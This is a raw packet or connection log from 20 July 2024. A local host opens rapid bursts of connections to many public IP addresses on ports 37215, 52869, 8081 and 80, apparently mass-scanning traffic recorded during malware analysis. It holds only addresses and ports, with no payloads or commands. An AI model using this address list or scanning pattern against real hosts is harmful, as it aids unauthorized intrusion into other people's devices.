Jul 20, 2024 23:10:40.540780067 CEST	36800	8081	192.168.2.15	9.175.217.225
Jul 20, 2024 23:10:40.540848970 CEST	8081	56936	73.50.217.173	192.168.2.15
Jul 20, 2024 23:10:40.540939093 CEST	80	56910	88.157.224.130	192.168.2.15
Jul 20, 2024 23:10:40.540955067 CEST	8081	57836	73.50.217.173	192.168.2.15
Jul 20, 2024 23:10:40.541644096 CEST	56910	80	192.168.2.15	88.157.224.130
Jul 20, 2024 23:10:40.541644096 CEST	57836	8081	192.168.2.15	73.50.217.173
Jul 20, 2024 23:10:40.541687012 CEST	54808	80	192.168.2.15	88.152.223.131
Jul 20, 2024 23:10:40.541687012 CEST	54808	80	192.168.2.15	88.152.223.131
Jul 20, 2024 23:10:40.542040110 CEST	45480	37215	192.168.2.15	39.147.126.15
Jul 20, 2024 23:10:40.542228937 CEST	8081	44962	211.111.42.56	192.168.2.15
Jul 20, 2024 23:10:40.542601109 CEST	80	47902	88.213.118.236	192.168.2.15
Jul 20, 2024 23:10:40.542614937 CEST	8081	39474	158.147.222.64	192.168.2.15
Jul 20, 2024 23:10:40.543396950 CEST	55788	80	192.168.2.15	88.152.223.131
Jul 20, 2024 23:10:40.543497086 CEST	37215	48632	158.185.201.45	192.168.2.15
Jul 20, 2024 23:10:40.543530941 CEST	56476	8081	192.168.2.15	62.94.176.238
Jul 20, 2024 23:10:40.543538094 CEST	48632	37215	192.168.2.15	158.185.201.45
Jul 20, 2024 23:10:40.543656111 CEST	8081	40370	158.147.222.64	192.168.2.15
Jul 20, 2024 23:10:40.543694973 CEST	40370	8081	192.168.2.15	158.147.222.64
Jul 20, 2024 23:10:40.544433117 CEST	52869	38332	92.216.196.59	192.168.2.15
Jul 20, 2024 23:10:40.544446945 CEST	60822	8081	192.168.2.15	132.49.133.83
Jul 20, 2024 23:10:40.544446945 CEST	60822	8081	192.168.2.15	132.49.133.83
Jul 20, 2024 23:10:40.544476986 CEST	38332	52869	192.168.2.15	92.216.196.59
Jul 20, 2024 23:10:40.545137882 CEST	80	48886	88.213.118.236	192.168.2.15
Jul 20, 2024 23:10:40.545226097 CEST	80	33744	88.114.90.66	192.168.2.15
Jul 20, 2024 23:10:40.545257092 CEST	80	38080	88.68.210.140	192.168.2.15
Jul 20, 2024 23:10:40.545393944 CEST	8081	44244	118.85.135.168	192.168.2.15
Jul 20, 2024 23:10:40.545408964 CEST	8081	55580	62.94.176.238	192.168.2.15
Jul 20, 2024 23:10:40.545483112 CEST	33482	8081	192.168.2.15	132.49.133.83
Jul 20, 2024 23:10:40.545568943 CEST	57088	80	192.168.2.15	88.41.108.187
Jul 20, 2024 23:10:40.545568943 CEST	57088	80	192.168.2.15	88.41.108.187
Jul 20, 2024 23:10:40.545583963 CEST	39300	52869	192.168.2.15	14.45.204.86
Jul 20, 2024 23:10:40.545694113 CEST	42026	37215	192.168.2.15	197.241.179.83
Jul 20, 2024 23:10:40.545821905 CEST	48886	80	192.168.2.15	88.213.118.236
Jul 20, 2024 23:10:40.546958923 CEST	58070	80	192.168.2.15	88.41.108.187
Jul 20, 2024 23:10:40.547389030 CEST	80	54808	88.152.223.131	192.168.2.15
Jul 20, 2024 23:10:40.547889948 CEST	46288	8081	192.168.2.15	88.123.57.1
Jul 20, 2024 23:10:40.547889948 CEST	46288	8081	192.168.2.15	88.123.57.1
Jul 20, 2024 23:10:40.548330069 CEST	37215	45480	39.147.126.15	192.168.2.15
Jul 20, 2024 23:10:40.548393965 CEST	45480	37215	192.168.2.15	39.147.126.15
Jul 20, 2024 23:10:40.549324036 CEST	80	52086	88.9.81.209	192.168.2.15
Jul 20, 2024 23:10:40.549348116 CEST	8081	46252	103.43.41.37	192.168.2.15
Jul 20, 2024 23:10:40.549364090 CEST	80	55788	88.152.223.131	192.168.2.15
Jul 20, 2024 23:10:40.549403906 CEST	55788	80	192.168.2.15	88.152.223.131
Jul 20, 2024 23:10:40.549626112 CEST	47222	80	192.168.2.15	88.24.107.94
Jul 20, 2024 23:10:40.549626112 CEST	47222	80	192.168.2.15	88.24.107.94
Jul 20, 2024 23:10:40.549664021 CEST	8081	60822	132.49.133.83	192.168.2.15
Jul 20, 2024 23:10:40.550156116 CEST	47180	8081	192.168.2.15	88.123.57.1
Jul 20, 2024 23:10:40.550543070 CEST	36556	37215	192.168.2.15	41.31.78.156
Jul 20, 2024 23:10:40.551237106 CEST	8081	56476	62.94.176.238	192.168.2.15
Jul 20, 2024 23:10:40.551278114 CEST	52869	39300	14.45.204.86	192.168.2.15
Jul 20, 2024 23:10:40.551286936 CEST	56476	8081	192.168.2.15	62.94.176.238
Jul 20, 2024 23:10:40.551388979 CEST	39300	52869	192.168.2.15	14.45.204.86
Jul 20, 2024 23:10:40.551667929 CEST	8081	33482	132.49.133.83	192.168.2.15
Jul 20, 2024 23:10:40.551717043 CEST	33482	8081	192.168.2.15	132.49.133.83
Jul 20, 2024 23:10:40.551789045 CEST	80	57088	88.41.108.187	192.168.2.15
Jul 20, 2024 23:10:40.551803112 CEST	37215	42026	197.241.179.83	192.168.2.15
Jul 20, 2024 23:10:40.551837921 CEST	42026	37215	192.168.2.15	197.241.179.83
Jul 20, 2024 23:10:40.552051067 CEST	48200	80	192.168.2.15	88.24.107.94
Jul 20, 2024 23:10:40.552586079 CEST	58300	8081	192.168.2.15	47.109.125.162
Jul 20, 2024 23:10:40.552586079 CEST	58300	8081	192.168.2.15	47.109.125.162
Jul 20, 2024 23:10:40.553563118 CEST	59190	8081	192.168.2.15	47.109.125.162
Jul 20, 2024 23:10:40.553575039 CEST	80	58070	88.41.108.187	192.168.2.15
Jul 20, 2024 23:10:40.553618908 CEST	58070	80	192.168.2.15	88.41.108.187
Jul 20, 2024 23:10:40.553634882 CEST	8081	46288	88.123.57.1	192.168.2.15
Jul 20, 2024 23:10:40.553699970 CEST	37926	52869	192.168.2.15	109.200.111.240
Jul 20, 2024 23:10:40.554821014 CEST	40364	80	192.168.2.15	88.129.16.77
Jul 20, 2024 23:10:40.554821968 CEST	40364	80	192.168.2.15	88.129.16.77
Jul 20, 2024 23:10:40.555022001 CEST	80	47222	88.24.107.94	192.168.2.15
Jul 20, 2024 23:10:40.555314064 CEST	41360	37215	192.168.2.15	41.130.45.123
Jul 20, 2024 23:10:40.555843115 CEST	8081	47180	88.123.57.1	192.168.2.15
Jul 20, 2024 23:10:40.555871010 CEST	37215	36556	41.31.78.156	192.168.2.15
Jul 20, 2024 23:10:40.555886030 CEST	47180	8081	192.168.2.15	88.123.57.1
Jul 20, 2024 23:10:40.555910110 CEST	36556	37215	192.168.2.15	41.31.78.156
Jul 20, 2024 23:10:40.556299925 CEST	46832	8081	192.168.2.15	125.94.214.213
Jul 20, 2024 23:10:40.556299925 CEST	46832	8081	192.168.2.15	125.94.214.213
Jul 20, 2024 23:10:40.557255983 CEST	41344	80	192.168.2.15	88.129.16.77
Jul 20, 2024 23:10:40.557306051 CEST	8081	58060	98.210.157.20	192.168.2.15
Jul 20, 2024 23:10:40.557321072 CEST	80	48200	88.24.107.94	192.168.2.15
Jul 20, 2024 23:10:40.557369947 CEST	48200	80	192.168.2.15	88.24.107.94
Jul 20, 2024 23:10:40.557652950 CEST	8081	58300	47.109.125.162	192.168.2.15
Jul 20, 2024 23:10:40.558689117 CEST	47722	8081	192.168.2.15	125.94.214.213
Jul 20, 2024 23:10:40.559160948 CEST	8081	59190	47.109.125.162	192.168.2.15
Jul 20, 2024 23:10:40.559190035 CEST	52869	37926	109.200.111.240	192.168.2.15
Jul 20, 2024 23:10:40.559206963 CEST	59190	8081	192.168.2.15	47.109.125.162
Jul 20, 2024 23:10:40.559360027 CEST	37926	52869	192.168.2.15	109.200.111.240
Jul 20, 2024 23:10:40.559829950 CEST	59672	80	192.168.2.15	88.96.105.176
Jul 20, 2024 23:10:40.559829950 CEST	59672	80	192.168.2.15	88.96.105.176
Jul 20, 2024 23:10:40.559953928 CEST	80	40364	88.129.16.77	192.168.2.15
Jul 20, 2024 23:10:40.560190916 CEST	44222	37215	192.168.2.15	197.187.16.96
Jul 20, 2024 23:10:40.560774088 CEST	51500	8081	192.168.2.15	133.51.42.64
Jul 20, 2024 23:10:40.560774088 CEST	51500	8081	192.168.2.15	133.51.42.64
Jul 20, 2024 23:10:40.560899973 CEST	37215	41360	41.130.45.123	192.168.2.15
Jul 20, 2024 23:10:40.560947895 CEST	41360	37215	192.168.2.15	41.130.45.123
Jul 20, 2024 23:10:40.561225891 CEST	8081	37868	143.93.205.194	192.168.2.15
Jul 20, 2024 23:10:40.561239004 CEST	80	42414	88.38.225.220	192.168.2.15
Jul 20, 2024 23:10:40.561292887 CEST	8081	57394	13.15.212.143	192.168.2.15
Jul 20, 2024 23:10:40.561306000 CEST	80	38116	88.30.5.37	192.168.2.15
Jul 20, 2024 23:10:40.561465979 CEST	8081	41256	19.32.100.158	192.168.2.15
Jul 20, 2024 23:10:40.561516047 CEST	8081	46832	125.94.214.213	192.168.2.15
Jul 20, 2024 23:10:40.561583042 CEST	60648	80	192.168.2.15	88.96.105.176
Jul 20, 2024 23:10:40.561894894 CEST	52388	8081	192.168.2.15	133.51.42.64
Jul 20, 2024 23:10:40.562793016 CEST	33894	52869	192.168.2.15	191.36.218.84
Jul 20, 2024 23:10:40.562839985 CEST	80	41344	88.129.16.77	192.168.2.15
Jul 20, 2024 23:10:40.562900066 CEST	41344	80	192.168.2.15	88.129.16.77
Jul 20, 2024 23:10:40.563546896 CEST	46226	80	192.168.2.15	88.171.6.187
Jul 20, 2024 23:10:40.563546896 CEST	46226	80	192.168.2.15	88.171.6.187
Jul 20, 2024 23:10:40.563565969 CEST	8081	47722	125.94.214.213	192.168.2.15
Jul 20, 2024 23:10:40.563606977 CEST	47722	8081	192.168.2.15	125.94.214.213
Jul 20, 2024 23:10:40.564213037 CEST	39350	8081	192.168.2.15	182.138.162.230
Jul 20, 2024 23:10:40.564213037 CEST	39350	8081	192.168.2.15	182.138.162.230
Jul 20, 2024 23:10:40.564446926 CEST	59192	37215	192.168.2.15	41.198.155.196
Jul 20, 2024 23:10:40.565026045 CEST	80	59672	88.96.105.176	192.168.2.15
Jul 20, 2024 23:10:40.565315008 CEST	8081	51440	206.8.55.164	192.168.2.15
Jul 20, 2024 23:10:40.565470934 CEST	80	52870	88.72.94.182	192.168.2.15
Jul 20, 2024 23:10:40.565718889 CEST	47204	80	192.168.2.15	88.171.6.187
Jul 20, 2024 23:10:40.565833092 CEST	40238	8081	192.168.2.15	182.138.162.230
Jul 20, 2024 23:10:40.566109896 CEST	37215	44222	197.187.16.96	192.168.2.15
Jul 20, 2024 23:10:40.566155910 CEST	8081	51500	133.51.42.64	192.168.2.15
Jul 20, 2024 23:10:40.566158056 CEST	44222	37215	192.168.2.15	197.187.16.96
Jul 20, 2024 23:10:40.567112923 CEST	80	60648	88.96.105.176	192.168.2.15
Jul 20, 2024 23:10:40.567157030 CEST	60648	80	192.168.2.15	88.96.105.176
Jul 20, 2024 23:10:40.567673922 CEST	8081	52388	133.51.42.64	192.168.2.15
Jul 20, 2024 23:10:40.567723036 CEST	52388	8081	192.168.2.15	133.51.42.64
Jul 20, 2024 23:10:40.567876101 CEST	60498	80	192.168.2.15	88.47.49.23
Jul 20, 2024 23:10:40.567876101 CEST	60498	80	192.168.2.15	88.47.49.23
Jul 20, 2024 23:10:40.567975044 CEST	38706	8081	192.168.2.15	76.174.89.37
Jul 20, 2024 23:10:40.567975044 CEST	38706	8081	192.168.2.15	76.174.89.37
Jul 20, 2024 23:10:40.568244934 CEST	52366	37215	192.168.2.15	157.221.114.39
Jul 20, 2024 23:10:40.568800926 CEST	52869	33894	191.36.218.84	192.168.2.15
Jul 20, 2024 23:10:40.568870068 CEST	33894	52869	192.168.2.15	191.36.218.84
Jul 20, 2024 23:10:40.569191933 CEST	80	46226	88.171.6.187	192.168.2.15
Jul 20, 2024 23:10:40.569504023 CEST	39590	8081	192.168.2.15	76.174.89.37
Jul 20, 2024 23:10:40.569540024 CEST	58788	52869	192.168.2.15	197.206.241.145
Jul 20, 2024 23:10:40.570101976 CEST	8081	39350	182.138.162.230	192.168.2.15
Jul 20, 2024 23:10:40.570182085 CEST	33244	80	192.168.2.15	88.47.49.23
Jul 20, 2024 23:10:40.570210934 CEST	37215	59192	41.198.155.196	192.168.2.15
Jul 20, 2024 23:10:40.570285082 CEST	59192	37215	192.168.2.15	41.198.155.196
Jul 20, 2024 23:10:40.571274996 CEST	33214	8081	192.168.2.15	52.121.158.13
Jul 20, 2024 23:10:40.571274996 CEST	33214	8081	192.168.2.15	52.121.158.13
Jul 20, 2024 23:10:40.571378946 CEST	80	47204	88.171.6.187	192.168.2.15
Jul 20, 2024 23:10:40.571423054 CEST	47204	80	192.168.2.15	88.171.6.187
Jul 20, 2024 23:10:40.571568966 CEST	8081	40238	182.138.162.230	192.168.2.15
Jul 20, 2024 23:10:40.571607113 CEST	40238	8081	192.168.2.15	182.138.162.230
Jul 20, 2024 23:10:40.572065115 CEST	40456	80	192.168.2.15	88.196.182.254
Jul 20, 2024 23:10:40.572232008 CEST	40456	80	192.168.2.15	88.196.182.254
Jul 20, 2024 23:10:40.572629929 CEST	36924	37215	192.168.2.15	41.17.147.201
Jul 20, 2024 23:10:40.573225975 CEST	34096	8081	192.168.2.15	52.121.158.13
Jul 20, 2024 23:10:40.573507071 CEST	8081	58462	95.238.91.109	192.168.2.15
Jul 20, 2024 23:10:40.573520899 CEST	80	52976	88.126.200.244	192.168.2.15
Jul 20, 2024 23:10:40.573534012 CEST	8081	55670	40.80.153.52	192.168.2.15
Jul 20, 2024 23:10:40.573548079 CEST	80	49590	88.148.148.170	192.168.2.15
Jul 20, 2024 23:10:40.573561907 CEST	80	60498	88.47.49.23	192.168.2.15
Jul 20, 2024 23:10:40.573586941 CEST	37215	52366	157.221.114.39	192.168.2.15
Jul 20, 2024 23:10:40.573625088 CEST	52366	37215	192.168.2.15	157.221.114.39
Jul 20, 2024 23:10:40.574410915 CEST	8081	38706	76.174.89.37	192.168.2.15
Jul 20, 2024 23:10:40.574477911 CEST	41434	80	192.168.2.15	88.196.182.254
Jul 20, 2024 23:10:40.574732065 CEST	8081	39590	76.174.89.37	192.168.2.15
Jul 20, 2024 23:10:40.574821949 CEST	39590	8081	192.168.2.15	76.174.89.37
Jul 20, 2024 23:10:40.575225115 CEST	32888	37215	192.168.2.15	193.168.188.87
Jul 20, 2024 23:10:40.575268030 CEST	58767	37215	192.168.2.15	157.37.222.176
Jul 20, 2024 23:10:40.575273037 CEST	58767	37215	192.168.2.15	89.8.95.202
Jul 20, 2024 23:10:40.575371981 CEST	58767	37215	192.168.2.15	197.141.80.64
Jul 20, 2024 23:10:40.575386047 CEST	52869	58788	197.206.241.145	192.168.2.15
Jul 20, 2024 23:10:40.575401068 CEST	58767	37215	192.168.2.15	157.234.79.175
Jul 20, 2024 23:10:40.575433016 CEST	58767	37215	192.168.2.15	41.11.55.143
Jul 20, 2024 23:10:40.575475931 CEST	58767	37215	192.168.2.15	157.62.253.162
Jul 20, 2024 23:10:40.575567961 CEST	58767	37215	192.168.2.15	131.14.103.148
Jul 20, 2024 23:10:40.575668097 CEST	58767	37215	192.168.2.15	41.28.65.67
Jul 20, 2024 23:10:40.575668097 CEST	58767	37215	192.168.2.15	41.247.243.177
Jul 20, 2024 23:10:40.575860977 CEST	58767	37215	192.168.2.15	197.127.119.138
Jul 20, 2024 23:10:40.575860977 CEST	58767	37215	192.168.2.15	118.174.41.159
Jul 20, 2024 23:10:40.575860977 CEST	58767	37215	192.168.2.15	41.122.22.46
Jul 20, 2024 23:10:40.575861931 CEST	58767	37215	192.168.2.15	197.142.98.9
Jul 20, 2024 23:10:40.575861931 CEST	58767	37215	192.168.2.15	208.220.26.36
Jul 20, 2024 23:10:40.576001883 CEST	80	33244	88.47.49.23	192.168.2.15
Jul 20, 2024 23:10:40.576395988 CEST	8081	33214	52.121.158.13	192.168.2.15
Jul 20, 2024 23:10:40.577052116 CEST	58767	37215	192.168.2.15	197.248.148.38
Jul 20, 2024 23:10:40.577053070 CEST	58767	37215	192.168.2.15	197.216.232.236
Jul 20, 2024 23:10:40.577053070 CEST	58767	37215	192.168.2.15	146.208.62.250
Jul 20, 2024 23:10:40.577053070 CEST	58767	37215	192.168.2.15	41.114.104.228
Jul 20, 2024 23:10:40.577053070 CEST	58767	37215	192.168.2.15	157.37.199.77
Jul 20, 2024 23:10:40.577053070 CEST	58767	37215	192.168.2.15	197.111.165.124
Jul 20, 2024 23:10:40.577053070 CEST	58767	37215	192.168.2.15	41.118.113.203
Jul 20, 2024 23:10:40.577053070 CEST	58767	37215	192.168.2.15	157.214.195.83
Jul 20, 2024 23:10:40.577188015 CEST	58767	37215	192.168.2.15	157.29.143.201
Jul 20, 2024 23:10:40.577188015 CEST	58767	37215	192.168.2.15	68.197.157.97
Jul 20, 2024 23:10:40.577188015 CEST	58788	52869	192.168.2.15	197.206.241.145
Jul 20, 2024 23:10:40.577188015 CEST	58767	37215	192.168.2.15	157.22.160.234
Jul 20, 2024 23:10:40.577188015 CEST	58767	37215	192.168.2.15	41.34.252.98
Jul 20, 2024 23:10:40.577188015 CEST	58767	37215	192.168.2.15	41.202.161.142
Jul 20, 2024 23:10:40.577188015 CEST	58767	37215	192.168.2.15	157.91.148.53
Jul 20, 2024 23:10:40.577188015 CEST	58767	37215	192.168.2.15	109.223.47.42
Jul 20, 2024 23:10:40.577219009 CEST	80	40456	88.196.182.254	192.168.2.15
Jul 20, 2024 23:10:40.578092098 CEST	37215	36924	41.17.147.201	192.168.2.15
Jul 20, 2024 23:10:40.578454018 CEST	8081	34096	52.121.158.13	192.168.2.15
Jul 20, 2024 23:10:40.578802109 CEST	80	40456	88.196.182.254	192.168.2.15
Jul 20, 2024 23:10:40.579276085 CEST	58767	37215	192.168.2.15	157.55.63.232
Jul 20, 2024 23:10:40.579276085 CEST	58767	37215	192.168.2.15	85.117.223.133
Jul 20, 2024 23:10:40.579276085 CEST	58767	37215	192.168.2.15	41.208.56.128
Jul 20, 2024 23:10:40.579276085 CEST	58767	37215	192.168.2.15	157.33.235.116
Jul 20, 2024 23:10:40.579276085 CEST	33244	80	192.168.2.15	88.47.49.23
Jul 20, 2024 23:10:40.579276085 CEST	58767	37215	192.168.2.15	197.216.192.26
Jul 20, 2024 23:10:40.579276085 CEST	58767	37215	192.168.2.15	157.31.242.46
Jul 20, 2024 23:10:40.579276085 CEST	58767	37215	192.168.2.15	197.92.173.148
Jul 20, 2024 23:10:40.579890966 CEST	80	41434	88.196.182.254	192.168.2.15
Jul 20, 2024 23:10:40.579941034 CEST	58767	37215	192.168.2.15	197.161.254.255
Jul 20, 2024 23:10:40.579941034 CEST	58767	37215	192.168.2.15	197.29.196.90
Jul 20, 2024 23:10:40.579941034 CEST	58767	37215	192.168.2.15	41.81.0.187
Jul 20, 2024 23:10:40.579941034 CEST	58767	37215	192.168.2.15	161.55.194.1
Jul 20, 2024 23:10:40.579941034 CEST	58767	37215	192.168.2.15	61.39.146.236
Jul 20, 2024 23:10:40.579941034 CEST	58767	37215	192.168.2.15	41.106.110.233
Jul 20, 2024 23:10:40.579941988 CEST	58767	37215	192.168.2.15	157.172.222.139
Jul 20, 2024 23:10:40.579941988 CEST	58767	37215	192.168.2.15	157.193.70.196
Jul 20, 2024 23:10:40.580519915 CEST	58767	37215	192.168.2.15	68.91.193.135
Jul 20, 2024 23:10:40.580519915 CEST	58767	37215	192.168.2.15	197.104.208.132
Jul 20, 2024 23:10:40.580519915 CEST	58767	37215	192.168.2.15	157.167.109.170
Jul 20, 2024 23:10:40.580519915 CEST	58767	37215	192.168.2.15	157.183.11.184
Jul 20, 2024 23:10:40.580519915 CEST	58767	37215	192.168.2.15	157.206.206.167
Jul 20, 2024 23:10:40.580519915 CEST	58767	37215	192.168.2.15	157.168.3.223
Jul 20, 2024 23:10:40.580519915 CEST	58767	37215	192.168.2.15	157.252.36.217
Jul 20, 2024 23:10:40.580519915 CEST	58767	37215	192.168.2.15	197.49.200.251
Jul 20, 2024 23:10:40.580533028 CEST	37215	32888	193.168.188.87	192.168.2.15
Jul 20, 2024 23:10:40.580665112 CEST	58767	37215	192.168.2.15	41.221.232.221
Jul 20, 2024 23:10:40.580665112 CEST	58767	37215	192.168.2.15	41.88.18.102
Jul 20, 2024 23:10:40.580665112 CEST	58767	37215	192.168.2.15	41.123.192.243
Jul 20, 2024 23:10:40.580665112 CEST	58767	37215	192.168.2.15	197.135.54.100
Jul 20, 2024 23:10:40.580665112 CEST	58767	37215	192.168.2.15	157.203.245.203
Jul 20, 2024 23:10:40.580665112 CEST	58767	37215	192.168.2.15	80.32.231.92
Jul 20, 2024 23:10:40.580665112 CEST	58767	37215	192.168.2.15	178.151.190.240
Jul 20, 2024 23:10:40.581145048 CEST	37215	58767	131.14.103.148	192.168.2.15
Jul 20, 2024 23:10:40.581159115 CEST	37215	58767	41.28.65.67	192.168.2.15
Jul 20, 2024 23:10:40.581270933 CEST	58767	37215	192.168.2.15	197.197.252.182
Jul 20, 2024 23:10:40.581270933 CEST	58767	37215	192.168.2.15	157.219.171.239
Jul 20, 2024 23:10:40.581270933 CEST	58767	37215	192.168.2.15	157.72.216.186
Jul 20, 2024 23:10:40.581270933 CEST	58767	37215	192.168.2.15	197.188.107.151
Jul 20, 2024 23:10:40.581270933 CEST	58767	37215	192.168.2.15	197.154.192.149
Jul 20, 2024 23:10:40.581270933 CEST	58767	37215	192.168.2.15	197.80.174.62
Jul 20, 2024 23:10:40.581271887 CEST	58767	37215	192.168.2.15	157.108.50.27
Jul 20, 2024 23:10:40.581392050 CEST	80	48578	88.220.223.245	192.168.2.15
Jul 20, 2024 23:10:40.581445932 CEST	8081	56936	73.50.217.173	192.168.2.15
Jul 20, 2024 23:10:40.581459999 CEST	80	55930	88.157.224.130	192.168.2.15
Jul 20, 2024 23:10:40.581471920 CEST	8081	35900	9.175.217.225	192.168.2.15
Jul 20, 2024 23:10:40.581485987 CEST	37215	58767	197.127.119.138	192.168.2.15
Jul 20, 2024 23:10:40.581943035 CEST	37215	58767	41.247.243.177	192.168.2.15
Jul 20, 2024 23:10:40.582004070 CEST	58767	37215	192.168.2.15	157.251.184.233
Jul 20, 2024 23:10:40.582004070 CEST	58767	37215	192.168.2.15	31.175.193.56
Jul 20, 2024 23:10:40.582004070 CEST	58767	37215	192.168.2.15	157.221.156.231
Jul 20, 2024 23:10:40.582004070 CEST	58767	37215	192.168.2.15	197.185.91.102
Jul 20, 2024 23:10:40.582004070 CEST	58767	37215	192.168.2.15	41.81.78.42
Jul 20, 2024 23:10:40.582004070 CEST	58767	37215	192.168.2.15	100.131.155.71
Jul 20, 2024 23:10:40.582004070 CEST	58767	37215	192.168.2.15	157.18.132.195
Jul 20, 2024 23:10:40.582004070 CEST	58767	37215	192.168.2.15	197.4.99.70
Jul 20, 2024 23:10:40.582308054 CEST	37215	58767	157.37.222.176	192.168.2.15
Jul 20, 2024 23:10:40.582353115 CEST	37215	58767	118.174.41.159	192.168.2.15
Jul 20, 2024 23:10:40.582698107 CEST	37215	58767	157.29.143.201	192.168.2.15
Jul 20, 2024 23:10:40.583389997 CEST	58767	37215	192.168.2.15	157.108.205.183
Jul 20, 2024 23:10:40.583389997 CEST	58767	37215	192.168.2.15	41.54.12.174
Jul 20, 2024 23:10:40.583389997 CEST	58767	37215	192.168.2.15	197.5.58.230
Jul 20, 2024 23:10:40.583389997 CEST	58767	37215	192.168.2.15	54.103.253.49
Jul 20, 2024 23:10:40.583389997 CEST	58767	37215	192.168.2.15	157.15.133.184
Jul 20, 2024 23:10:40.583389997 CEST	58767	37215	192.168.2.15	41.0.171.6
Jul 20, 2024 23:10:40.583390951 CEST	58767	37215	192.168.2.15	197.52.14.1
Jul 20, 2024 23:10:40.583390951 CEST	58767	37215	192.168.2.15	197.210.203.242
Jul 20, 2024 23:10:40.583595991 CEST	37215	58767	197.248.148.38	192.168.2.15
Jul 20, 2024 23:10:40.583662987 CEST	37215	58767	41.122.22.46	192.168.2.15
Jul 20, 2024 23:10:40.583822966 CEST	37215	58767	197.216.232.236	192.168.2.15
Jul 20, 2024 23:10:40.583913088 CEST	37215	58767	197.142.98.9	192.168.2.15
Jul 20, 2024 23:10:40.584217072 CEST	37215	58767	41.11.55.143	192.168.2.15
Jul 20, 2024 23:10:40.584558964 CEST	37215	58767	146.208.62.250	192.168.2.15
Jul 20, 2024 23:10:40.584780931 CEST	37215	58767	208.220.26.36	192.168.2.15
Jul 20, 2024 23:10:40.585167885 CEST	8081	39474	158.147.222.64	192.168.2.15
Jul 20, 2024 23:10:40.585285902 CEST	80	47902	88.213.118.236	192.168.2.15
Jul 20, 2024 23:10:40.585345030 CEST	37215	58767	157.234.79.175	192.168.2.15
Jul 20, 2024 23:10:40.585733891 CEST	37215	58767	89.8.95.202	192.168.2.15
Jul 20, 2024 23:10:40.585941076 CEST	37215	58767	197.161.254.255	192.168.2.15
Jul 20, 2024 23:10:40.586010933 CEST	37215	58767	41.114.104.228	192.168.2.15
Jul 20, 2024 23:10:40.586189032 CEST	37215	58767	157.62.253.162	192.168.2.15
Jul 20, 2024 23:10:40.586338043 CEST	37215	58767	157.37.199.77	192.168.2.15
Jul 20, 2024 23:10:40.586412907 CEST	58767	37215	192.168.2.15	157.231.2.188
Jul 20, 2024 23:10:40.586412907 CEST	58767	37215	192.168.2.15	197.210.198.249
Jul 20, 2024 23:10:40.586412907 CEST	58767	37215	192.168.2.15	157.121.204.204
Jul 20, 2024 23:10:40.586412907 CEST	58767	37215	192.168.2.15	168.175.171.32
Jul 20, 2024 23:10:40.586412907 CEST	58767	37215	192.168.2.15	41.209.146.132
Jul 20, 2024 23:10:40.586412907 CEST	58767	37215	192.168.2.15	157.118.142.72
Jul 20, 2024 23:10:40.586412907 CEST	58767	37215	192.168.2.15	86.37.66.37
Jul 20, 2024 23:10:40.586509943 CEST	37215	58767	197.29.196.90	192.168.2.15
Jul 20, 2024 23:10:40.586688042 CEST	37215	58767	197.197.252.182	192.168.2.15
Jul 20, 2024 23:10:40.586839914 CEST	37215	58767	197.141.80.64	192.168.2.15
Jul 20, 2024 23:10:40.587102890 CEST	37215	58767	68.197.157.97	192.168.2.15
Jul 20, 2024 23:10:40.587888956 CEST	37215	58767	197.111.165.124	192.168.2.15
Jul 20, 2024 23:10:40.587902069 CEST	37215	58767	41.81.0.187	192.168.2.15
Jul 20, 2024 23:10:40.587914944 CEST	37215	58767	41.118.113.203	192.168.2.15
Jul 20, 2024 23:10:40.587927103 CEST	37215	58767	41.221.232.221	192.168.2.15
Jul 20, 2024 23:10:40.588099003 CEST	37215	58767	161.55.194.1	192.168.2.15
Jul 20, 2024 23:10:40.588996887 CEST	37215	58767	157.214.195.83	192.168.2.15
Jul 20, 2024 23:10:40.589010000 CEST	37215	58767	157.55.63.232	192.168.2.15
Jul 20, 2024 23:10:40.589023113 CEST	37215	58767	41.88.18.102	192.168.2.15
Jul 20, 2024 23:10:40.589068890 CEST	58767	37215	192.168.2.15	197.154.203.233
Jul 20, 2024 23:10:40.589068890 CEST	58767	37215	192.168.2.15	197.117.3.182
Jul 20, 2024 23:10:40.589068890 CEST	58767	37215	192.168.2.15	157.206.105.136
Jul 20, 2024 23:10:40.589068890 CEST	58767	37215	192.168.2.15	157.119.224.103
Jul 20, 2024 23:10:40.589068890 CEST	58767	37215	192.168.2.15	83.200.83.92
Jul 20, 2024 23:10:40.589068890 CEST	58767	37215	192.168.2.15	207.219.56.164
Jul 20, 2024 23:10:40.589068890 CEST	58767	37215	192.168.2.15	197.41.11.247
Jul 20, 2024 23:10:40.589068890 CEST	58767	37215	192.168.2.15	197.129.120.216
Jul 20, 2024 23:10:40.589268923 CEST	37215	58767	157.108.205.183	192.168.2.15
Jul 20, 2024 23:10:40.589345932 CEST	37215	58767	41.123.192.243	192.168.2.15
Jul 20, 2024 23:10:40.589365959 CEST	80	54808	88.152.223.131	192.168.2.15
Jul 20, 2024 23:10:40.589378119 CEST	8081	55580	62.94.176.238	192.168.2.15
Jul 20, 2024 23:10:40.589390993 CEST	37215	58767	157.251.184.233	192.168.2.15
Jul 20, 2024 23:10:40.589452982 CEST	37215	58767	85.117.223.133	192.168.2.15
Jul 20, 2024 23:10:40.589998960 CEST	37215	58767	41.54.12.174	192.168.2.15
Jul 20, 2024 23:10:40.590091944 CEST	37215	58767	61.39.146.236	192.168.2.15
Jul 20, 2024 23:10:40.590356112 CEST	37215	58767	157.219.171.239	192.168.2.15
Jul 20, 2024 23:10:40.590466976 CEST	37215	58767	197.5.58.230	192.168.2.15
Jul 20, 2024 23:10:40.590600967 CEST	37215	58767	41.106.110.233	192.168.2.15
Jul 20, 2024 23:10:40.590684891 CEST	37215	58767	157.72.216.186	192.168.2.15
Jul 20, 2024 23:10:40.590811968 CEST	58767	37215	192.168.2.15	41.55.149.13
Jul 20, 2024 23:10:40.590811968 CEST	58767	37215	192.168.2.15	41.249.230.34
Jul 20, 2024 23:10:40.590811968 CEST	58767	37215	192.168.2.15	197.4.12.194
Jul 20, 2024 23:10:40.590811968 CEST	58767	37215	192.168.2.15	212.103.36.245
Jul 20, 2024 23:10:40.590811968 CEST	58767	37215	192.168.2.15	197.223.201.190
Jul 20, 2024 23:10:40.590811968 CEST	58767	37215	192.168.2.15	157.82.186.155
Jul 20, 2024 23:10:40.590811968 CEST	58767	37215	192.168.2.15	197.242.40.170
Jul 20, 2024 23:10:40.590811968 CEST	58767	37215	192.168.2.15	197.210.234.155
Jul 20, 2024 23:10:40.591118097 CEST	37215	58767	54.103.253.49	192.168.2.15
Jul 20, 2024 23:10:40.591253042 CEST	37215	58767	157.172.222.139	192.168.2.15
